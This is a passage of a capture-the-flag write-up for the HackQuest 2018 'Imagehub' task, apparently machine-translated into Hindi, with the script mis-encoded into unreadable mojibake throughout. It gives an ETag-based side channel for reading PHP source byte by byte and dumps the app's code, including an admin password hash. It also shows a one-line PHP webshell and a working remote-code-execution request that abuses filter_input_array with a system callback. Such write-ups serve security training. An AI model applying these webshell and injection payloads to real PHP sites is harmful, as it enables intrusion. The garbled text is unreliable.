рд╣реИрдХрдХреНрд╡реЗрд╕реНрдЯ 2018. рдкрд░рд┐рдгрд╛рдо рдФрд░ рд▓рд┐рдЦреЗрдВред рджрд┐рди 4-7

рдЬреИрд╕рд╛ рдХрд┐ рд╡рд╛рджрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд╣рдо рд╡рд╛рд░реНрд╖рд┐рдХ рд╣реИрдХрдХреНрд╡реЗрд╕реНрдЯ рдирд┐рд░реНрдгрдпреЛрдВ рдХреЗ рджреВрд╕рд░реЗ рднрд╛рдЧ рдХреЛ рдкреЛрд╕реНрдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рджрд┐рди 4-7: рддрдирд╛рд╡ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдХрд╛рд░реНрдп рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддреЗ рд╣реИрдВ!


рд╕рд╛рдордЧреНрд░реА:




Day4ред Imagehub


рдпрд╣ рдХрд╛рд░реНрдп SPbCTF рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╣рдорд╛рд░реА рдирдИ рд░рдЪрдирд╛ рдЗрдВрд╕реНрдЯрд╛рдЧреНрд░рд╛рдо рдХреЛ рдорд╛рд░ рджреЗрдЧреАред рд╣рдо рдЖрдкрдХреЛ рд╕рд┐рд░реНрдл рджреЛ рд╢рдмреНрджреЛрдВ рдореЗрдВ рд╕рдордЭрд╛рдПрдВрдЧреЗ:

1. рдлрд┐рд▓реНрдЯрд░ред рдЖрдкрдХреЗ рдЕрдкрд▓реЛрдб рдХрд┐рдП рдЧрдП рдЪрд┐рддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдирдпрд╛ рдХрднреА рдирд╣реАрдВ рджреЗрдЦрд╛ рдЧрдпрд╛ рдлрд╝рд┐рд▓реНрдЯрд░ред
2. рдХреИрд╢рд┐рдВрдЧред рдХрд╕реНрдЯрдо HTTP рд╕рд░реНрд╡рд░ рдмреНрд░рд╛рдЙрдЬрд░ рдХреИрд╢ рдореЗрдВ рдЗрдореЗрдЬ рдлрд╛рдЗрд▓реНрд╕ рд▓реИрдВрдб рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЕрднреА рдХреЛрд╢рд┐рд╢ рдХрд░реЛ! imagehub.spb.ctf.su

рдЬреАрддрдиреЗ рдХреЗ рд▓рд┐рдП рд░рди / get_the_flagред
рдХрд╕реНрдЯрдо рд╕рд░реНрд╡рд░ рдмрд╛рдЗрдирд░реА: dppth

рд╕рдВрдХреЗрдд
10/25/2018 20:00
рдЯрд╛рд╕реНрдХ рд╣рд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред 24 рдШрдВрдЯреЗ рдЬреЛрдбрд╝реЗ рдЧрдПред

10/25/2018 17:00
рджреЛ рдХреАрдбрд╝реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВред рдкрд╣рд▓реЗ рдПрдХ рдЖрдкрдХреЛ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реНрд░реЛрдд рдорд┐рд▓рддрд╛ рд╣реИ, рджреВрд╕рд░рд╛ рдЖрдкрдХреЛ рдЖрд░рд╕реАрдИ рдорд┐рд▓рддрд╛ рд╣реИред

рдЕрд╡рд▓реЛрдХрди:


рдирд┐рд╖реНрдкрд╛рджрди:

  • рдИрдПрд▓рдПрдл x86_64
  • рд╕рд░рд▓ HTTP рд╕рд░реНрд╡рд░ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди
  • рдпрджрд┐ рдЕрдиреБрд░реЛрдзрд┐рдд рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдмрд┐рдЯ рд╣реИ, рддреЛ рдЗрд╕рдХреЗ php-fpm рдХреЛ рдкрд╛рд╕ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
  • рдХреЛрдб рд▓рд╛рдЧреВ рдХрд╕реНрдЯрдо etag рдХреИрд╢рд┐рдВрдЧ

рд╡реЗрдм рдкрд╛рд░реНрдЯ:

  • рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИред рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЫрд╡рд┐ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • рдореВрд▓рднреВрдд рдкреЗрдЬ рдХреЗ рд╕рд╛рде рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреГрд╖реНрда /? рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ = рд╢реЛ

рднреЗрджреНрдпрддрд╛: рд╕реНрд░реЛрдд рдХреЛрдб рдкрдврд╝рдирд╛


рдХреИрд╢ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рджрд┐рд▓рдЪрд╕реНрдк рд▓рдЧрддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рд╕рд░реНрд╡рд░ рдХреЛ рдлрд╝рд╛рдЗрд▓ рдХреА рд╣реИрд╢ рдордирдорд╛рдиреА рд░реЗрдВрдЬ (рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ 1 рдмрд╛рдЗрдЯ рд░реЗрдВрдЬ) рддрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_function:
 def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff 


рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ etag рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ (* .php) рдХреЗ рд▓рд┐рдП рдЫреАрди рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

 stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url); 

рдлрд┐рд░ рднреА рдкреГрд╖реНрда рдирд┐рд╖реНрдкрд╛рджрди рд╕реЗ рдкрд╣рд▓реЗ рдПрдХ рдЬрд╛рдВрдЪ рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдПрдЯреИрдЧ рд╡реИрд▓реНрдпреВ ( рдпрджрд┐ рдХреЛрдИ рдирд╣реАрдВ-рдореИрдЪ ) рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕рд░реНрд╡рд░ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рд╣рдореЗрдВ 304 рдиреЙрдЯ рдореЙрдбрд┐рдлрд╛рдЗрдб рд╕реНрдЯреЗрдЯрд╕ рд░рд┐рд╕реНрдкрд╛рдВрд╕ рдорд┐рд▓реЗрдЧрд╛ред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдо рд╕реНрд░реЛрдд рдХреЛрдб рдмрд╛рдЗрдЯ рдХреЛ рдмрд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

 v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a); 

рдЖрд░рдИ рд╕реЗ рд╣рдореЗрдВ рдЬреЛ рдорд┐рд▓рд╛ рд╣реИ рдЙрд╕реЗ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдмрддрд╛рдПрдВ:

  1. рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЖрд╕рд╛рдиреА рд╕реЗ рдЕрдВрддрд┐рдо-рд╕рдВрд╢реЛрдзрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ (рд╕реНрдЯреНрд░рд┐рдВрдЧ -> рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк) рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред
  2. рд░реЗрдВрдЬ рдПрдХ рдмрд╛рдЗрдЯ рд▓рдВрдмрд╛рдИ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЗрд╕рд▓рд┐рдП рд╣рдо рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рдЗрдЯ рдХреЗ рд▓рд┐рдП рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВрдЧреЗ)
  3. рд╣реИрд╢ рдХрд╛ рдЕрдиреБрдорд╛рди 1 рдмрд╛рдЗрдЯ рд░реЗрдВрдЬ (256 рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рди) рдХреЗ рд▓рд┐рдП рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ
  4. рдЖрдХрд╛рд░ рдмреНрд░реВрдЯреЗрдмрд▓ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдореЗрдВ рд▓рдХреНрд╖реНрдп рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдХрдо рд╕реЗ рдХрдо рдПрдХ рдмрд╛рдЗрдЯ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
  5. рдЪреВрдВрдХрд┐ рд╣рдо * .php рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЗрд╕рдХреА рдЕрдЪреНрдЫреА рдзрд╛рд░рдгрд╛ рд╣реИ, рдХрд┐ рдлрд╛рдЗрд▓ "<? Php" рд╕реЗ рд╢реБрд░реВ рд╣реЛ рд░рд╣реА рд╣реИред

рдкрд╣рд▓рд╛ рдЪрд░рдг рдЖрдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣рд╛ рд╣реЛрдЧрд╛, рдФрд░ рджреВрд╕рд░рд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣рд╛ рд╣реИред
рдорд▓реНрдЯреА рдереНрд░реЗрдбреЗрдб рдХреЛрдб рдХреЗ рд╕рд╛рде рдореИрдВ ~ 1 char / sec рдХреА рдЧрддрд┐ рддрдХ рдкрд╣реБрдБрдЪ рдЧрдпрд╛, рдФрд░ рдХреБрдЫ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрдВрдк рдХрд░ рджрд┐рдпрд╛:
index.php
 <?php // error_reporting(0); if (isset($_GET["admin"]) && (!isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW'] !== '888b2f04eef9a49fc87fa81089b736de')) { header('WWW-Authenticate: Basic realm="Admin Area"'); header('HTTP/1.0 401 Unauthorized'); } require "upload.php"; $uploader = new ImageUploader(); $result = $uploader->upload(); if ($result === true) die(); if ($result > 0) { echo "Error: " . $result; } if ($uploader->upload() !== true) { include "templates/main.php"; } 


upload.php
  <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } } 

рд╢рд╛рдорд┐рд▓ рд╣реИрдВ / filter.php
 <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } 


/ uploaderror.php рд╢рд╛рдорд┐рд▓ рд╣реИ
  <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; } 


рд╢рд╛рдорд┐рд▓ / рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ
  <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; } 


рдпрд╣ рд╣рдореЗрдВ рджреЗрддрд╛ рд╣реИ:
  • рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдореВрд▓рднреВрдд рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдбред рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмреЗрдХрд╛рд░ рд╣реИ, рдпрд╣ рдХреЗрд╡рд▓ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИ:
    Congratzред рдЕрдм рдЖрдк рд╕реВрддреНрд░реЛрдВ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЧрд╣рд░рд╛ рдЬрд╛рдУред
  • рдлрдВрдХреНрд╢рди рдЗрдВрдЬреЗрдХреНрд╢рди (FI) ' рдлрд┐рд▓реНрдЯрд░ ' рдЗрдирдкреБрдЯ рдкрд░ред
  • рдЫрд╡рд┐ рдЕрдкрд▓реЛрдб рд╕рддреНрдпрд╛рдкрди рдЕрдм рд╣рдорд╛рд░реЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рд╣реИред
  • ImageMagic рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдШрд╛рддрдХ рд╣реИред рдореБрдЭреЗ рдирд╣реАрдВ рд▓рдЧрддрд╛ рдХрд┐ рдПрдлрдЖрдИ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд┐рдП рдмрд┐рдирд╛ рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рд╣реИред

рднреЗрджреНрдпрддрд╛: рд╕рдорд╛рд░реЛрд╣ рдЗрдВрдЬреЗрдХреНрд╢рди


рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб .php рдореЗрдВ рдХреБрдЫ рд╕рдВрджрд┐рдЧреНрдз рдХреЛрдб рд╣реИрдВ:

 $filterImage = $_POST['filter']($size, $text); 

рд╣рдо рдЗрд╕реЗ рд╕рд░рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 $filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']); 

рдЖрдк рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреБрдЫ рдлрдЬреАрд╣рдд рдХрд░рдХреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВред " рдлрд╝рд┐рд▓реНрдЯрд░ " рдЗрдирдкреБрдЯ рдореЗрдВ " var_dump " рдпрд╛ " debug_zval_dump " рдЬреИрд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдирд╛рдо рднреЗрдЬрдиреЗ рд╕реЗ рд╕рд░реНрд╡рд░ рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдВ рдЖрдПрдВрдЧреА ред

 int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777) 

рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдорд╛рд░рд╛ рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИред рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рдХрдо рд╕реЗ рдХрдо рджреЛ рддрд░реАрдХреЗ рд╣реИрдВред

filter_input_array рд╡реЗрдХреНрдЯрд░ (рдЕрдирдЬрд╛рдиреЗ рд╕рдорд╛рдзрд╛рди): RCE рд╡реЗрдХреНрдЯрд░


рдЖрд░рд╕реАрдИ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрддреЗ рд╣реБрдП, рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ function filter_input_array рд╣рдореЗрдВ $filterImage variable рдкрд░ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдирд┐рдпрдВрддреНрд░рдг рджреЗрддрд╛ рд╣реИред

рдлрд╝рд┐рд▓реНрдЯрд░ рддрд░реНрдХ рдХреЛ рджреВрд╕рд░реЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ, рдлрд╝рдВрдХреНрд╢рди рдкрд░рд┐рдгрд╛рдо рдкрд░ рдордирдорд╛рдиреА рд╕рд░рдгреА рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рд▓реЗрдХрд┐рди ImageMagic рдЗрдореЗрдЬрд┐рдХ рд╡рд░реНрдЧ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рднреА рдкрд╛рдиреЗ рдХреА рдЙрдореНрдореАрдж рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред :(

рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рд╣рдо рдЗрдирдкреБрдЯ рд╕реЗ рдХрдХреНрд╖рд╛ рдХреЛ рдЕрдирд╕реБрдирд╛ рдХрд░ рд╕рдХреЗрдВ? рдЪрд▓рд┐рдП filter_input_array рд╡рд┐рд╡рд░рдг рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рдлрд╝рд┐рд▓реНрдЯрд░ рддрд░реНрдХ рдЦреЛрдЬреЗрдВ ред

рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдкреЗрдЬ рдкрд░ рд╣реА рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдХреЙрд▓рдмреИрдХ рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред FILTER_CALLBACK рдЙрджрд╛рд╣рд░рдг filter_input рдХреЗ рд▓рд┐рдП рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ filter_input_array рд▓рд┐рдП рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ!

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╣рдо рдПрдХ рддрд░реНрдХ (eval? рд╕рд┐рд╕реНрдЯрдо?) рдХреЗ рд╕рд╛рде рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд╕реНрдЯрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ "рдорд╛рдиреНрдп" рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рддрд░реНрдХ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╣реИред

 FILTER_CALLBACK = 1024 

RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдг:

 GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1 

рдЙрддреНрддрд░:

 *** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf) 

рдЦреЛрдЬреА рдкрдВрдХреНрддрд┐: 1m_t3h_R34L_binaeb_g1mme_my_71ck37

рдХреБрдЫ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЧрд▓рдд рд▓рдЧ рд░рд╣рд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рд╕реНрд░реЛрдд рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реЛрдЧреА? рд╕рд┐рд░реНрдл рдПрдХ рд╕рдВрдХреЗрдд рдХреЗ рд▓рд┐рдП? рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд┐рд╕реНрдХ рдкрд░ рдХреНрдпреЛрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпрд╛ рдпрд╣ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЪреБрдиреМрддреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдЬрдВрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рди рдХрд░реЗрдВ?

рдлрд╝рд┐рд▓реНрдЯрд░ рдирд╛рдордХрд░рдг рдореЗрдВ рд╕рдВрдпреЛрдЧ = рдлрд╝рд┐рд▓реНрдЯрд░ _input_array, рдкрд╛рда [a] [ рдлрд╝рд┐рд▓реНрдЯрд░ ] рдиреЗ рдореБрдЭреЗ рдПрдХ рд╡рд┐рд╢реНрд╡рд╛рд╕ рджрд┐рд▓рд╛рдпрд╛ рдХрд┐ рд╕рдм рдХреБрдЫ рдЙрдореНрдореАрдж рдХреЗ рдореБрддрд╛рдмрд┐рдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ("рдХрднреА рдирд╣реАрдВ рджреЗрдЦрд╛ рдЧрдпрд╛ рдлрд╝рд┐рд▓реНрдЯрд░ ", тЬУ)ред

spl_autoload рд╡реЗрдХреНрдЯрд░: LFI рд╡реЗрдХреНрдЯрд░


рд╕рдорд╛рдзрд╛рди рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдореБрдЭреЗ рдЪреБрдиреМрддреА рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд▓реЗрдЦрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╕реЗ рд╕рдВрдкрд░реНрдХ рд╣реБрдЖ, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдХрд╣рд╛ рдХрд┐ рдореЗрд░рд╛ рд╡реЗрдХреНрдЯрд░ рдЗрд░рд╛рджрд╛ рдирд╣реАрдВ рдерд╛ рдФрд░ рдПрдХ рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ ( spl_autoload ):

